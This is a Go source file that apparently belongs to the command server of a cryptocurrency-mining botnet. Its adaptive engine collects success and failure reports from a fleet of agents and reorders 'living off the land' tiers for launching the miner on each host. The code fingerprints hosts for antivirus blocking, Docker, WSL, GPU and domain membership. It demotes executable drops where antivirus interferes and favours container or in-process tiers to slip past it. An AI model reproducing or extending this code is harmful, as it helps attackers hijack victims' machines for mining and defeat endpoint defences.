package strategy

import (
	"encoding/json"
	"log"
	"math"
	"sort"
	"strconv"
	"strings"
	"sync"
	"time"

	"crypto-miner-server/internal/db"
)

const (
	rescoreInterval    = 5 * time.Minute
	minSamplesForSkip  = 3
	skipFailureRate    = 0.85
	promoteHashrateMin = 1.0
)

// RescoreInterval is how often the hub background loop recomputes strategies.
const RescoreInterval = rescoreInterval

// AdaptiveEngine learns fleet LOTL tier outcomes and scores per-host tier order.
type AdaptiveEngine struct {
	db      *db.Database
	enabled bool
	mu      sync.RWMutex
	agentFingerprints map[string]HostFingerprint
}

func NewAdaptiveEngine(database *db.Database, enabled bool) *AdaptiveEngine {
	return &AdaptiveEngine{
		db:                database,
		enabled:           enabled,
		agentFingerprints: make(map[string]HostFingerprint),
	}
}

func (e *AdaptiveEngine) Enabled() bool {
	e.mu.RLock()
	defer e.mu.RUnlock()
	return e.enabled
}

func (e *AdaptiveEngine) SetEnabled(on bool) {
	e.mu.Lock()
	e.enabled = on
	e.mu.Unlock()
}

func (e *AdaptiveEngine) RememberAgentFingerprint(agentID string, fp HostFingerprint) {
	if agentID == "" {
		return
	}
	e.mu.Lock()
	e.agentFingerprints[agentID] = fp
	e.mu.Unlock()
}

func (e *AdaptiveEngine) agentFingerprint(agentID string) HostFingerprint {
	e.mu.RLock()
	defer e.mu.RUnlock()
	return e.agentFingerprints[agentID]
}

// AgentFingerprint returns the latest remembered fingerprint for an agent.
func (e *AdaptiveEngine) AgentFingerprint(agentID string) HostFingerprint {
	return e.agentFingerprint(agentID)
}

// RecordOutcome persists one tier attempt for fleet learning.
func (e *AdaptiveEngine) RecordOutcome(agentID string, fp HostFingerprint, tier string, ok bool, hashrate float64, phase string) {
	if !e.Enabled() || e.db == nil || agentID == "" || strings.TrimSpace(tier) == "" {
		return
	}
	if fp.GOOS == "" {
		fp = e.agentFingerprint(agentID)
	}
	e.RememberAgentFingerprint(agentID, fp)
	phase = strings.TrimSpace(phase)
	if phase == "" {
		phase = "mining"
	}
	if err := e.db.InsertTierOutcome(agentID, fp.Key(), tier, ok, hashrate, phase); err != nil {
		log.Printf("[strategy] record outcome: %v", err)
	}
}

// ScoreTierOrder returns a reordered tier list with transparent reasoning.
func (e *AdaptiveEngine) ScoreTierOrder(fp HostFingerprint) AdaptiveStrategy {
	base := append([]string(nil), DefaultMiningTierOrder...)
	now := nowRFC3339()
	reasoning := []StrategyReason{{
		Fact:      "Host fingerprint: " + describeFingerprint(fp),
		Inference: "Fleet adaptive engine scores tiers from your machines only",
		Action:    "Starting from default mining tier order",
	}}

	if !e.Enabled() || e.db == nil {
		return AdaptiveStrategy{TierOrder: base, Reasoning: reasoning, Confidence: 0.2, UpdatedAt: now}
	}

	stats, err := e.db.AggregateTierOutcomes(fp.Key(), fp.GOOS)
	if err != nil {
		log.Printf("[strategy] aggregate outcomes: %v", err)
		return AdaptiveStrategy{TierOrder: base, Reasoning: reasoning, Confidence: 0.3, UpdatedAt: now}
	}

	type tierScore struct {
		tier  string
		score float64
	}
	scores := make([]tierScore, 0, len(base))
	skipSet := make(map[string]bool)
	indexOf := make(map[string]int, len(base))
	for i, t := range base {
		indexOf[t] = i
		scores = append(scores, tierScore{tier: t, score: float64(len(base) - i)})
	}

	totalSamples := 0
	for _, s := range stats {
		totalSamples += s.Total
	}

	for _, s := range stats {
		if s.Total == 0 {
			continue
		}
		successRate := float64(s.Successes) / float64(s.Total)
		idx, ok := indexOf[s.Tier]
		if !ok {
			continue
		}
		bonus := successRate * 12.0
		if s.MaxHashrate >= promoteHashrateMin {
			bonus += 8.0
			reasoning = append(reasoning, StrategyReason{
				Fact:      tierLabel(s.Tier) + " produced hashrate on similar hosts",
				Inference: formatFloat(s.MaxHashrate) + " H/s peak in fleet bucket",
				Action:    "Promote " + tierLabel(s.Tier) + " in tier order",
			})
		}
		if successRate >= 0.5 && s.Successes > 0 {
			reasoning = append(reasoning, StrategyReason{
				Fact:      tierLabel(s.Tier) + " succeeded on " + fp.GOOS + " hosts like this",
				Inference: formatPct(successRate) + " success across " + itoa(s.Total) + " fleet attempts",
				Action:    "Boost " + tierLabel(s.Tier) + " priority",
			})
		}
		if s.Total >= minSamplesForSkip && successRate <= (1.0-skipFailureRate) && s.Successes == 0 {
			skipSet[s.Tier] = true
			reasoning = append(reasoning, StrategyReason{
				Fact:      tierLabel(s.Tier) + " failed repeatedly on " + fp.GOOS,
				Inference: itoa(s.Failures) + " failures, 0 successes in fleet bucket",
				Action:    "Skip " + tierLabel(s.Tier) + " for this host profile",
			})
		}
		scores[idx].score += bonus - (1.0-successRate)*6.0
	}

	if fp.GOOS == "windows" && fp.Docker {
		if idx, ok := indexOf["container"]; ok {
			scores[idx].score += 6
			reasoning = append(reasoning, StrategyReason{
				Fact: "Docker runtime available on Windows host", Inference: "Container tier isolates miner from AV friction on exe drops",
				Action: "Prefer container / docker_load before raw subprocess",
			})
		}
		if idx, ok := indexOf["docker_load"]; ok {
			scores[idx].score += 4
		}
	}
	if fp.AVBlocks {
		if idx, ok := indexOf["exe_subprocess"]; ok {
			scores[idx].score -= 8
			reasoning = append(reasoning, StrategyReason{
				Fact: "AV blocks unsigned exe execution on this profile", Inference: "Subprocess tier likely blocked before mining starts",
				Action: "Demote exe_subprocess; try in-process or container first",
			})
		}
		if idx, ok := indexOf["cpu_inprocess"]; ok {
			scores[idx].score += 5
		}
	}
	if fp.WSL {
		if idx, ok := indexOf["wsl"]; ok {
			scores[idx].score += 4
		}
	}
	if fp.GPU {
		if idx, ok := indexOf["gpu_subprocess"]; ok {
			scores[idx].score += 3
		}
	}

	sort.SliceStable(scores, func(i, j int) bool {
		if scores[i].score == scores[j].score {
			return indexOf[scores[i].tier] < indexOf[scores[j].tier]
		}
		return scores[i].score > scores[j].score
	})

	order := make([]string, 0, len(scores))
	seen := make(map[string]bool, len(scores))
	for _, s := range scores {
		if seen[s.tier] || skipSet[s.tier] {
			continue
		}
		order = append(order, s.tier)
		seen[s.tier] = true
	}
	skipTiers := make([]string, 0, len(skipSet))
	for _, t := range base {
		if skipSet[t] {
			skipTiers = append(skipTiers, t)
		}
	}

	if strings.Join(order, ",") != strings.Join(base, ",") || len(skipTiers) > 0 {
		reasoning = append(reasoning, StrategyReason{
			Fact: "Adaptive order differs from default onion", Inference: "Fleet learning adjusted tier walk for this fingerprint",
			Action: "Apply personalized order before agent tries default path",
		})
	}

	confidence := 0.35
	if totalSamples > 0 {
		confidence = math.Min(0.95, 0.35+float64(totalSamples)*0.02)
	}
	return AdaptiveStrategy{TierOrder: order, SkipTiers: skipTiers, Reasoning: reasoning, Confidence: round2(confidence), UpdatedAt: now}
}

func (e *AdaptiveEngine) StrategyForAgent(agentID string, fp HostFingerprint) AdaptiveStrategy {
	strat := e.ScoreTierOrder(fp)
	if e.db == nil || agentID == "" {
		return strat
	}
	e.RememberAgentFingerprint(agentID, fp)
	raw, _ := json.Marshal(strat)
	if err := e.db.UpsertAgentStrategyCache(agentID, fp.Key(), string(raw)); err != nil {
		log.Printf("[strategy] cache strategy: %v", err)
	}
	return strat
}

func (e *AdaptiveEngine) RecomputeAll() (int, error) {
	if !e.Enabled() || e.db == nil {
		return 0, nil
	}
	agents, err := e.db.ListAgentStrategyFingerprints()
	if err != nil {
		return 0, err
	}
	count := 0
	for agentID, fpKey := range agents {
		fp := parseFingerprintKey(fpKey)
		strat := e.ScoreTierOrder(fp)
		raw, _ := json.Marshal(strat)
		if err := e.db.UpsertAgentStrategyCache(agentID, fp.Key(), string(raw)); err != nil {
			continue
		}
		count++
	}
	return count, nil
}

func parseFingerprintKey(key string) HostFingerprint {
	parts := strings.Split(key, "|")
	fp := HostFingerprint{GOOS: "unknown", Subnet: "unknown"}
	if len(parts) > 0 && parts[0] != "" {
		fp.GOOS = parts[0]
	}
	if len(parts) > 1 {
		fp.Docker = parts[1] == "1"
	}
	if len(parts) > 2 {
		fp.WSL = parts[2] == "1"
	}
	if len(parts) > 3 {
		fp.GPU = parts[3] == "1"
	}
	if len(parts) > 4 {
		fp.AVBlocks = parts[4] == "1"
	}
	if len(parts) > 5 {
		fp.DomainJoined = parts[5] == "1"
	}
	if len(parts) > 6 {
		fp.Subnet = parts[6]
	}
	return fp
}

func describeFingerprint(fp HostFingerprint) string {
	chips := []string{fp.GOOS}
	if fp.Docker {
		chips = append(chips, "docker")
	}
	if fp.WSL {
		chips = append(chips, "wsl")
	}
	if fp.GPU {
		chips = append(chips, "gpu")
	}
	if fp.AVBlocks {
		chips = append(chips, "av_blocks")
	}
	if fp.DomainJoined {
		chips = append(chips, "domain_joined")
	}
	if fp.Subnet != "" {
		chips = append(chips, "subnet:"+fp.Subnet)
	}
	return strings.Join(chips, ", ")
}

func tierLabel(tier string) string { return strings.ReplaceAll(tier, "_", " ") }
func formatPct(v float64) string   { return formatFloat(v*100) + "%" }
func formatFloat(v float64) string { return strconv.FormatFloat(v, 'f', -1, 64) }
func itoa(n int) string            { return strconv.Itoa(n) }
func round2(v float64) float64     { return math.Round(v*100) / 100 }